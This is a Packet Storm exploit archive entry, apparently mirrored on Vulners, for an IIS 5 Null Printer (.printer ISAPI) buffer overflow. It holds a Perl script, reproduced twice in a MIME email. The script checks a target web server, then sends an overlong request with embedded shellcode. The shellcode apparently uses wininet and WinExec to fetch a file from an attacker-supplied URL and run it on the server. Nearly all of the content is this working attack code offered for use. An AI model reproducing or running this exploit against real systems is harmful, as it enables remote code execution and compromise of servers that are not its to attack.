Lucene search
K

iis.pl.txt

🗓️ 26 Oct 2004 00:00:00Reported by Diabolic CrabType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 15 Views

IIS 5 Null Printer Exploit script to connect and check for vulnerabilities in the server.

Code
`This is a multi-part message in MIME format.  
  
------=_NextPart_000_001D_01C4B563.F871BDD0  
Content-Type: text/plain;  
charset="iso-8859-1"  
Content-Transfer-Encoding: quoted-printable  
  
http://icis.digitalparadox.org/~dcrab/iis.pl=20  
#!/usr/bin/perl -w  
use IO::Socket;  
print "\n#############################################\n";  
print "#IIS 5 Null Printer Exploit by Diabolic Crab#\n";  
print "# Shouts to Mr.J Zinho Subby Sync #\n";  
print "# Fluidmotion Haking Ta|0n Pheonix #\n";  
print "# Phreaked Bread Moth Volcom Sany #\n";  
print "# Defcon Ref0rm and everyone els #\n";  
print "# C0replay, Hackerscenter, dP #\n";  
print "# www.hackerscenter.com #\n";  
print "# www.digitalparadox.org #\n";  
print "\#############################################\n";  
unless ($ARGV[0]) {  
print "\n#Usage: $0 hostname filetodownload#\n";  
exit();  
}  
unless ($ARGV[1]) {  
print "\n#Usage: $0 hostname filetodownload#\n";  
exit();  
}  
$socket =3D IO::Socket::INET->new(  
Proto =3D> 'tcp',  
PeerAddr =3D> $ARGV[0],  
PeerPort =3D> 80,  
Timeout =3D> 10,  
);  
$bish =3D 0;  
$url =3D $ARGV[1];  
print "#Connecting to $ARGV[0]\n";  
unless($socket) {  
die("#Could not connect to $ARGV[0]:80\n");  
exit();  
}  
print "#Connection Established\n";  
$socket->autoflush(1);  
print $socket ("GET /NULL.printer=20  
HTTP/1.1\nClient-Agent:IIS_Printer_Scan\nHost:$ARGV[0]\r\n\r\n");  
print "#Packet sent\n";  
while ($line =3D <$socket>) {  
if ($line eq "<h1>Bad Request</h1>") {  
$bish =3D 1  
}  
}  
if ($bish ne 1) {  
print "#Server seems to be exploitable\n";  
@shell =3D ("\n","GET /NULL.printer HTTP/1.1\n" ,=20  
"\xEB\x30\x5F\xFC\x8B\xF7\x80"  
,"\x3F\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x8B\xE6\x33\xD2\xB=  
2\x04\xC1"  
,"\xE2\x08\x2B\xE2\x8B\xEC\x33\xD2\xB2\x03\xC1\xE2\x08\x2B\xE2\x54\x5A\xB=  
2\x7C\x8B"  
,"\xE2\xEB\x02\xEB\x57\x89\x75\xFC\x33\xC0\xB4\x40\xC1\xE0\x08\x89\x45\xF=  
8\x8B\x40"  
,"\x3C\x03\x45\xF8\x8D\x40\x7E\x8B\x40\x02\x03\x45\xF8\x8B\xF8\x8B\x7F\x0=  
C\x03\x7D"  
,"\xF8\x81\x3F\x4B\x45\x52\x4E\x74\x07\x83\xC0\x14\x8B\xF8\xEB\xEB\x50\x8=  
B\xF8\x33"  
,"\xC9\x33\xC0\xB1\x10\x8B\x17\x03\x55\xF8\x52\xEB\x03\x57\x8B\xD7\x80\x7=  
A\x03\x80"  
,"\x74\x16\x8B\x32\x03\x75\xF8\x83\xC6\x02\xEB\x02\xEB\x7E\x8B\x7D\xFC\x5=  
1\xF3\xA6"  
,"\x59\x5F\x74\x06\x40\x83\xC7\x04\xEB\xDB\x5F\x8B\x7F\x10\x03\x7D\xF8\xC=  
1\xE0\x02"  
,"\x03\xF8\x8B\x07\x8B\x5D\xFC\x8D\x5B\x11\x53\xFF\xD0\x89\x45\xF4\x8B\x4=  
0\x3C\x03"  
,"\x45\xF4\x8B\x70\x78\x03\x75\xF4\x8D\x76\x1C\xAD\x03\x45\xF4\x89\x45\xF=  
0\xAD\x03"  
,"\x45\xF4\x89\x45\xEC\xAD\x03\x45\xF4\x89\x45\xE8\x8B\x55\xEC\x8B\x75\xF=  
C\x8D\x76"  
,"\x1E\x33\xDB\x33\xC9\xB1\x0F\x8B\x3A\x03\x7D\xF4\x56\x51\xF3\xA6\x59\x5=  
E\x74\x06"  
,"\x43\x8D\x52\x04\xEB\xED\xD1\xE3\x8B\x75\xE8\x03\xF3\x33\xC9\x66\x8B\x0=  
E\xEB\x02"  
,"\xEB\x7D\xC1\xE1\x02\x03\x4D\xF0\x8B\x09\x03\x4D\xF4\x89\x4D\xE4\x8B\x5=  
D\xFC\x8D"  
,"\x5B\x2D\x33\xC9\xB1\x07\x8D\x7D\xE0\x53\x51\x53\x8B\x55\xF4\x52\x8B\x4=  
5\xE4\xFC"  
,"\xFF\xD0\x59\x5B\xFD\xAB\x8D\x64\x24\xF8\x38\x2B\x74\x03\x43\xEB\xF9\x4=  
3\xE2\xE1"  
,"\x8B\x45\xE0\x53\xFC\xFF\xD0\xFD\xAB\x33\xC9\xB1\x04\x8D\x5B\x0C\xFC\x5=  
3\x51\x53"  
,"\x8B\x55\xC4\x52\x8B\x45\xE4\xFF\xD0\x59\x5B\xFD\xAB\x38\x2B\x74\x03\x4=  
3\xEB\xF9"  
,"\x43\xE2\xE5\xFC\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\x52\x8B\x45\xD=  
4\xFF\xD0"  
,"\x89\x45\xB0\x33\xD2\xEB\x02\xEB\x77\x52\x52\x52\x52\x53\x8B\x45\xC0\xF=  
F\xD0\x8D"  
,"\x5B\x03\x89\x45\xAC\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52\x5=  
2\x8D\x7B"  
,"\x09\x57\x50\x8B\x45\xBC\xFF\xD0\x89\x45\xA8\x8D\x55\xA0\x52\x33\xD2\xB=  
6\x1F\xC1"  
,"\xE2\x08\x52\x8B\x4D\xB0\x51\x50\x8B\x45\xB8\xFF\xD0\x8B\x4D\xA8\x51\x8=  
B\x45\xB4"  
,"\xFF\xD0\x8B\x4D\xAC\x51\x8B\x45\xB4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD=  
C\xFF\xD0"  
,"\x89\x45\xA4\x8B\x7D\xA0\x57\x8B\x55\xB0\x52\x50\x8B\x45\xD8\xFF\xD0\x8=  
B\x55\xA4"  
,"\x52\x8B\x45\xD0\xFF\xD0\xEB\x02\xEB\x12\x33\xD2\x90\x52\x53\x8B\x45\xC=  
C\xFF\xD0"  
,"\x33\xD2\x52\x8B\x45\xC8\xFF\xD0\xE8\xE6\xFD\xFF\xFF\x47\x65\x74\x4D\x6=  
F\x64\x75"  
,"\x6C\x65\x48\x61\x6E\x64\x6C\x65\x41\x08\x6B\x65\x72\x6E\x65\x6C\x33\x3=  
2\x2E\x64"  
,"\x6C\x6C\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x0=  
8\x4C\x6F"  
,"\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x08\x5F\x6C\x63\x72\x65\x61\x7=  
4\x08\x5F"  
,"\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61\x6C\x41\x6C\x6C\x6F\x6=  
3\x08\x5F"  
,"\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78\x65\x63\x08\x45\x78\x6=  
9\x74\x50"  
,"\x72\x6F\x63\x65\x73\x73\x08\x77\x69\x6E\x69\x6E\x65\x74\x2E\x64\x6C\x6=  
C\x08\x49"  
,"\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x7=  
2\x6E\x65"  
,"\x74\x4F\x70\x65\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x7=  
4\x52\x65"  
,"\x61\x64\x46\x69\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6=  
F\x73\x65"  
,"\x48\x61\x6E\x64\x6C\x65\x08\x4E\x53\x08\x6E\x73\x73\x63\x2E\x65\x78\x6=  
5\x08"  
,"$url"  
,"\x08\x01");  
$socket2 =3D IO::Socket::INET->new(  
Proto =3D> 'tcp',  
PeerAddr =3D> $ARGV[0],  
PeerPort =3D> 80,  
Timeout =3D> 10,  
);  
foreach $ms(@shell) {  
send($socket2, $ms, 0) or die "\n[x] #Unable to send exploit: $!";  
sleep(1);  
}  
print "#Attempting to download file\n";  
print "#Exploit sent\n";  
close(socket2);  
}  
if ($bish eq 1) {  
print "#Server seems to be not exploitable\n";  
}  
exit();  
  
------=_NextPart_000_001D_01C4B563.F871BDD0  
Content-Type: text/html;  
charset="iso-8859-1"  
Content-Transfer-Encoding: quoted-printable  
  
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">  
<HTML><HEAD>  
<META http-equiv=3DContent-Type content=3D"text/html; =  
charset=3Diso-8859-1">  
<META content=3D"MSHTML 6.00.2900.2523" name=3DGENERATOR>  
<STYLE></STYLE>  
</HEAD>  
<BODY bgColor=3D#ffffff>  
<DIV><FONT face=3DArial size=3D2><!--StartFragment --><FONT =  
face=3D"Times New Roman"=20  
size=3D3><FONT face=3DArial size=3D2><A=20  
href=3D"http://icis.digitalparadox.org/~dcrab/iis.pl">http://icis.digital=  
paradox.org/~dcrab/iis.pl</A></FONT>&nbsp;</FONT><PRE>#!/usr/bin/perl -w  
use IO::Socket;  
print "\n#############################################\n";  
print "#IIS 5 Null Printer Exploit by Diabolic Crab#\n";  
print "# Shouts to Mr.J Zinho Subby Sync #\n";  
print "# Fluidmotion Haking Ta|0n Pheonix #\n";  
print "# Phreaked Bread Moth Volcom Sany #\n";  
print "# Defcon Ref0rm and everyone els #\n";  
print "# C0replay, Hackerscenter, dP #\n";  
print "# www.hackerscenter.com #\n";  
print "# www.digitalparadox.org #\n";  
print "\#############################################\n";  
unless ($ARGV[0]) {  
print "\n#Usage: $0 hostname filetodownload#\n";  
exit();  
}  
unless ($ARGV[1]) {  
print "\n#Usage: $0 hostname filetodownload#\n";  
exit();  
}  
$socket =3D IO::Socket::INET->new(  
Proto =3D> 'tcp',  
PeerAddr =3D> $ARGV[0],  
PeerPort =3D> 80,  
Timeout =3D> 10,  
);  
$bish =3D 0;  
$url =3D $ARGV[1];  
print "#Connecting to $ARGV[0]\n";  
unless($socket) {  
die("#Could not connect to $ARGV[0]:80\n");  
exit();  
}  
print "#Connection Established\n";  
$socket->autoflush(1);  
print $socket ("GET /NULL.printer=20  
HTTP/1.1\nClient-Agent:IIS_Printer_Scan\nHost:$ARGV[0]\r\n\r\n");  
print "#Packet sent\n";  
while ($line =3D <$socket>) {  
if ($line eq "<h1>Bad Request</h1>") {  
$bish =3D 1  
}  
}  
if ($bish ne 1) {  
print "#Server seems to be exploitable\n";  
@shell =3D ("\n","GET /NULL.printer HTTP/1.1\n" ,=20  
"\xEB\x30\x5F\xFC\x8B\xF7\x80"  
,"\x3F\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x8B\xE6\x33\xD2\xB=  
2\x04\xC1"  
,"\xE2\x08\x2B\xE2\x8B\xEC\x33\xD2\xB2\x03\xC1\xE2\x08\x2B\xE2\x54\x5A\xB=  
2\x7C\x8B"  
,"\xE2\xEB\x02\xEB\x57\x89\x75\xFC\x33\xC0\xB4\x40\xC1\xE0\x08\x89\x45\xF=  
8\x8B\x40"  
,"\x3C\x03\x45\xF8\x8D\x40\x7E\x8B\x40\x02\x03\x45\xF8\x8B\xF8\x8B\x7F\x0=  
C\x03\x7D"  
,"\xF8\x81\x3F\x4B\x45\x52\x4E\x74\x07\x83\xC0\x14\x8B\xF8\xEB\xEB\x50\x8=  
B\xF8\x33"  
,"\xC9\x33\xC0\xB1\x10\x8B\x17\x03\x55\xF8\x52\xEB\x03\x57\x8B\xD7\x80\x7=  
A\x03\x80"  
,"\x74\x16\x8B\x32\x03\x75\xF8\x83\xC6\x02\xEB\x02\xEB\x7E\x8B\x7D\xFC\x5=  
1\xF3\xA6"  
,"\x59\x5F\x74\x06\x40\x83\xC7\x04\xEB\xDB\x5F\x8B\x7F\x10\x03\x7D\xF8\xC=  
1\xE0\x02"  
,"\x03\xF8\x8B\x07\x8B\x5D\xFC\x8D\x5B\x11\x53\xFF\xD0\x89\x45\xF4\x8B\x4=  
0\x3C\x03"  
,"\x45\xF4\x8B\x70\x78\x03\x75\xF4\x8D\x76\x1C\xAD\x03\x45\xF4\x89\x45\xF=  
0\xAD\x03"  
,"\x45\xF4\x89\x45\xEC\xAD\x03\x45\xF4\x89\x45\xE8\x8B\x55\xEC\x8B\x75\xF=  
C\x8D\x76"  
,"\x1E\x33\xDB\x33\xC9\xB1\x0F\x8B\x3A\x03\x7D\xF4\x56\x51\xF3\xA6\x59\x5=  
E\x74\x06"  
,"\x43\x8D\x52\x04\xEB\xED\xD1\xE3\x8B\x75\xE8\x03\xF3\x33\xC9\x66\x8B\x0=  
E\xEB\x02"  
,"\xEB\x7D\xC1\xE1\x02\x03\x4D\xF0\x8B\x09\x03\x4D\xF4\x89\x4D\xE4\x8B\x5=  
D\xFC\x8D"  
,"\x5B\x2D\x33\xC9\xB1\x07\x8D\x7D\xE0\x53\x51\x53\x8B\x55\xF4\x52\x8B\x4=  
5\xE4\xFC"  
,"\xFF\xD0\x59\x5B\xFD\xAB\x8D\x64\x24\xF8\x38\x2B\x74\x03\x43\xEB\xF9\x4=  
3\xE2\xE1"  
,"\x8B\x45\xE0\x53\xFC\xFF\xD0\xFD\xAB\x33\xC9\xB1\x04\x8D\x5B\x0C\xFC\x5=  
3\x51\x53"  
,"\x8B\x55\xC4\x52\x8B\x45\xE4\xFF\xD0\x59\x5B\xFD\xAB\x38\x2B\x74\x03\x4=  
3\xEB\xF9"  
,"\x43\xE2\xE5\xFC\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\x52\x8B\x45\xD=  
4\xFF\xD0"  
,"\x89\x45\xB0\x33\xD2\xEB\x02\xEB\x77\x52\x52\x52\x52\x53\x8B\x45\xC0\xF=  
F\xD0\x8D"  
,"\x5B\x03\x89\x45\xAC\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52\x5=  
2\x8D\x7B"  
,"\x09\x57\x50\x8B\x45\xBC\xFF\xD0\x89\x45\xA8\x8D\x55\xA0\x52\x33\xD2\xB=  
6\x1F\xC1"  
,"\xE2\x08\x52\x8B\x4D\xB0\x51\x50\x8B\x45\xB8\xFF\xD0\x8B\x4D\xA8\x51\x8=  
B\x45\xB4"  
,"\xFF\xD0\x8B\x4D\xAC\x51\x8B\x45\xB4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD=  
C\xFF\xD0"  
,"\x89\x45\xA4\x8B\x7D\xA0\x57\x8B\x55\xB0\x52\x50\x8B\x45\xD8\xFF\xD0\x8=  
B\x55\xA4"  
,"\x52\x8B\x45\xD0\xFF\xD0\xEB\x02\xEB\x12\x33\xD2\x90\x52\x53\x8B\x45\xC=  
C\xFF\xD0"  
,"\x33\xD2\x52\x8B\x45\xC8\xFF\xD0\xE8\xE6\xFD\xFF\xFF\x47\x65\x74\x4D\x6=  
F\x64\x75"  
,"\x6C\x65\x48\x61\x6E\x64\x6C\x65\x41\x08\x6B\x65\x72\x6E\x65\x6C\x33\x3=  
2\x2E\x64"  
,"\x6C\x6C\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x0=  
8\x4C\x6F"  
,"\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x08\x5F\x6C\x63\x72\x65\x61\x7=  
4\x08\x5F"  
,"\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61\x6C\x41\x6C\x6C\x6F\x6=  
3\x08\x5F"  
,"\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78\x65\x63\x08\x45\x78\x6=  
9\x74\x50"  
,"\x72\x6F\x63\x65\x73\x73\x08\x77\x69\x6E\x69\x6E\x65\x74\x2E\x64\x6C\x6=  
C\x08\x49"  
,"\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x7=  
2\x6E\x65"  
,"\x74\x4F\x70\x65\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x7=  
4\x52\x65"  
,"\x61\x64\x46\x69\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6=  
F\x73\x65"  
,"\x48\x61\x6E\x64\x6C\x65\x08\x4E\x53\x08\x6E\x73\x73\x63\x2E\x65\x78\x6=  
5\x08"  
,"$url"  
,"\x08\x01");  
$socket2 =3D IO::Socket::INET->new(  
Proto =3D> 'tcp',  
PeerAddr =3D> $ARGV[0],  
PeerPort =3D> 80,  
Timeout =3D> 10,  
);  
foreach $ms(@shell) {  
send($socket2, $ms, 0) or die "\n[x] #Unable to send exploit: $!";  
sleep(1);  
}  
print "#Attempting to download file\n";  
print "#Exploit sent\n";  
close(socket2);  
}  
if ($bish eq 1) {  
print "#Server seems to be not exploitable\n";  
}  
exit();  
</PRE></FONT></DIV></BODY></HTML>  
  
------=_NextPart_000_001D_01C4B563.F871BDD0--  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation